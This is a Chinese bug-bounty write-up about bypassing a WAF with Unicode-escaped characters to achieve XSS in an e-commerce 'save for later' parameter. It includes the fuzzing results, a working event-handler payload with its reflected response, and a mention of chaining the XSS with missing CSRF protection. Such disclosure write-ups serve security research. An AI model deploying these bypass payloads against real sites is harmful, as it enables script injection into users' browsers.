BUG賞金 | Unicode與WAF—XSS WAF繞過
- 2019 年 12 月 23 日
- 筆記
圖片來源於網路
通過標題,您可能會知道這是有關使用UNICODE進行 XSS WAF繞過的文章。因此,讓我們給你一個關於我正在測試的應用程式的小想法。有一個名為「以後保存」 的選項,該選項將項目保存在您的帳戶中以備後用。該請求看起來像:

如果用戶進行了正確的身份驗證,則此發布請求會將項目保存在用戶帳戶中,以供以後使用;如果用戶未進行正確的身份驗證,則該請求僅會返回一些值。因此,我在參數上進行黑盒測試,並注意到傳遞的參數值在響應主體中得到返回,而在經過身份驗證和未經身份驗證的場景中都沒有適當的轉義。我發送了一個如下的參數值:
xss "><
返回的結果如下:
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>" data-productid="<ID>" data-channel="xss"><" data-quantity="1" data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>
我們輸入的值在<a>標記內,由於引號和小於/大於-符號未正確過濾,因此我們可以跳出該值。因此,我認為我有很多方法可以在這裡進行XSS,直到我輸入 xss 」 onclick = 「 alert(1)並且響應為:

因此,存在WAF。為了繞開它,我開始模糊測試,結果是:
xss " onclick= " alert(1) ==> WAF xss " xss = " alert(1) ==> WAF xss " xss = " xxx(1) ==> 沒有WAF
因此,我嘗試創建一個標籤,而不是在<a>標籤中添加事件屬性,然後輸入xss 」> <xss> test,響應為:
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid ="<ID>" data-itemnumber ="<ID>" data-productid ="<ID>" data-channel =" xss">test" data-quantity =" 1" data-isbundleitem ="false" role ="link" tabindex ="0" aria-label="label">移至購物車</a>
因此,它還刪除了看起來像tag的上下文。因此,我們沒有創建標籤的優勢。因此,我們唯一的方法是繞過WAF 在<a>標記中使用事件屬性。我嘗試通過fuzzdb使用html-event-attributes.txt 進行暴力破解。以看看是否有事件沒有被WAF阻止然而並沒有什麼有值得關注的。
然後我考慮了一下進行unicode編碼,輸入了一個隨機的unicode看看它在響應中是否解碼。值得慶幸的是它將unicode解碼成它的原始的字元。所以現在我再次開始使用unicode + events的形式,結果是:
xss " u003Eu003Cxssu003Etest" ==> xss"> <xss> test" xss " xss = "cou006efirm(domain)" ==> 沒有WAF xss " oncu006Cick = "cou006efirm(domain)" ==> HTTP / 1.1 403禁止
所以我們現在有了新的有利條件,同樣也有了新的問題。
有利條件是我們現在可以使用unicode創建HTML標籤。
問題是我們添加oncu006Cick事件會收到一個新的錯誤 HTTP / 1.1 403 Forbidden。
因此,我再次通過html-event-attributes.txt + Unicode製作了一個單詞表,並得到了onmousu0045leave和ondu0072ag事件返回了 HTTP / 1.1 200 OK。同樣我們還可以創建HTML標籤。所以我得到了最後的有效載荷:
xss"u003Eu003Ch1 onmousu0045leave=cou006efirm(domain)u003Ecome to meu003C/h1u003Eu003Cbru003Eu003C!--
響應主體是:
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>" data-productid="<ID>" data-channel="xss"> <h1 onmouseleave=confirm(domain)>come to me</h1> <br> <!--" data-quantity ="1" data-isbundleitem ="false" role ="link" tabindex ="0" aria-label ="label">移至購物車</a>
將滑鼠指針放在come to me上,然後移開:

現在,因為這是一個POST請求,並且沒有CSRF保護,所以我將CSRF + XSS = P2的存儲型XSS鏈接到已認證的用戶:

